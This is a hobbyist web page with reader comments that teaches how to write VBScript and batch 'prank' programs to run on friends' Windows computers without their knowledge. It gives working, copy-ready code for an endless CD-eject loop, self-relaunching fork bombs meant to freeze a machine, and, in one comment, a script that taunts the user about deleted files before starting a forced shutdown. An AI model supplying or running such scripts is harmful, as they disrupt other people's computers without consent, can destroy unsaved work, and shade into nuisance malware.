Flag This Hub

vbscript (.VBS) Computer Pranks

By


What is visual basic script and how can I use it to prank my friends?

 Visual Basic Script files are programs that can be run on a Windows computer. They are very easy to make and can be used for useful purposes, such as to automate tasks, or for less useful purposes, like hilarious pranks for your friends. These programs are great for pranks because they can control many computer tasks (even the keyboard and cd drive) and can run without the knowledge of the person you are pranking. Visual Basic Script files, also called vbscript files, are text files with the extension ".vbs"

Remember, never create programs with an intent to harm a computer permanently.

All you need to do to write a visual basic script file is:

  1. Open "Notepad". It is the standard text editor on Windows computers.
  2. Save the file with a .vbs extension. (example: "vbfile.vbs) You must do this for it to work.
  3. Learn a few easy vbscript commands. Below are several examples and videos that can help you. Learning enough vbscript to make a prank takes only a few minutes.

Example Programs (With fully functional source code)

The codes listed below are fully functional. You may copy and paste them into a .vbs file and they will work when you run the file. Feel free to mix and match them to make prank files that do multiple things at once. These commands are pretty self explanatory (for example WshShell.Run runs a program, WScript.Sleep makes the computer wait for a given number of nanoseconds (1000 = 1 second)). To end any of these programs while they are running open the task manager and end the process.

  • Opens notepad and "types" writes a message:

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 1000
WshShell.AppActivate "Notepad"
WScript.Sleep 2000
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you?"

  • Opens the CD drive continuously (WARNING: THIS WILL OPEN THE CD DRIVE CONTINUOUSLY UNLESS THE PROGRAM IS STOPPED):

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

  • Fork Bomb:  A fork bomb continously opens itself to overload and freeze a computer. It can be very annoying and entertaining. Once it is started it is difficult or impossible to stop without restarting the computer. NOTE: YOU MUST TELL THE COMPUTER TO RUN YOUR .VBS FILE's NAME. This will not work if you just copy and paste it unless you name your file "forkbomb.vbs":
For i = 0 to 10000000 Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad" WshShell.Run "notepad" WshShell.Run "TYPE YOUR FILE PATH HERE" Next

Comments

RTalloni 21 months ago

awwww....

chris 15 months ago

whats up with the TYPE YOUR FILE PATH HERE in the last one?

Karl 3 months ago

the type your file path here is simply to choose a program to open, such as internet explorer or command prompt but and easier method is as follows save this as a .bat file:

command.exe

:a

start

goto a

this is way more effective and way more simple

trythis 4 weeks ago

trythis code:

:loop

start

explorer

notepad

mspaint

goto loop

save as .bat and run it XD

Siris 2 days ago

On Error Resume Next

Set wshShell = wscript.CreateObject("WScript.Shell")

Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

set shell = CreateObject("Wscript.Shell")

Set objScriptExec = objShell.Exec("shutdown -a")

set objShell = CreateObject("WScript.Shell")

Wsh.Run "Notepad.exe", 1

wscript.sleep 1200

wshshell.sendkeys "(lol ur stuffed seriosly)"

wscript.sleep 1200

wshshell.sendkeys "~(ur gunna get owned)"

wscript.sleep 1200

wshshell.sendkeys "~(and guess what)"

wscript.sleep 1200

wshshell.sendkeys "~(guess come on)"

wscript.sleep 2000

wshshell.sendkeys "~(there is nothing you can do about it!!!!!)"

wscript.sleep 2000

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

wscript.sleep 50

wshshell.sendkeys "{bs}"

StrAgentName2 = "MERLIN"

StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"

Set objAgent2 = CreateObject("Agent.Control.2")

ObjAgent2.Connected = TRUE

ObjAgent2.Characters.Load strAgentName2, strAgentPath2

Set objPeter = objAgent2.Characters.Character(strAgentName2)

ObjPeter.MoveTo 700,300

ObjPeter.Show

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttentionReturn"

ObjPeter.Speak("I'M MERLIN")

ObjPeter.MoveTo 300,100

ObjPeter.Show

ObjPeter.Speak("AND I'M MAGIC, YER..... MAGIC!!!")

Wscript.Sleep 1000

ObjPeter.MoveTo 300,100

ObjPeter.Show

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttentionReturn"

ObjPeter.Speak("NOW I GOING TO SKERW UP YOU PC!!!!!")

Wscript.Sleep 1000

ObjPeter.MoveTo 100,50

Wscript.Sleep 1000

ObjPeter.MoveTo 900,50

ObjPeter.MoveTo 500,500

ObjPeter.Show

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttentionReturn"

ObjPeter.Speak("HAHAHAHAHAHA, DELETE..... DELETE....... AND DELETED!!")

ObjPeter.Show

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttentionReturn"

ObjPeter.Speak("ONLY JOKEING....... YOU PC'S FINE..... IT'S ALL YOUR FILES I'D WORRY ABOUT!!!!")

ObjPeter.Speak("GOODBYE!")

Set objAction= objPeter.Hide

Do While objPeter.Visible = True

loop

wsh.run "shutdown.exe -s -t 10"

Wscript.Sleep 8000

Wsh.Run "%SystemRoot%\system32\cmd.exe"

Set objShell = CreateObject("WScript.Shell")

Set objScriptExec = objShell.Exec("shutdown -a")

strIpConfig = objScriptExec.StdOut.ReadAll

objShell.SendKeys "Exit"

objShell.SendKeys "{Enter}"

Wscript.Sleep 1000

TRY THIS ITS EPIC!!!! XD

Algirdas 26 hours ago

COOL PROGRAM, SIRIS, IT'S BEST PROGRAM!!!!!!!!!!!!!!!

Submit a Comment
Members and Guests

Sign in or sign up and post using a hubpages account.



    Like this Hub?
    Please wait working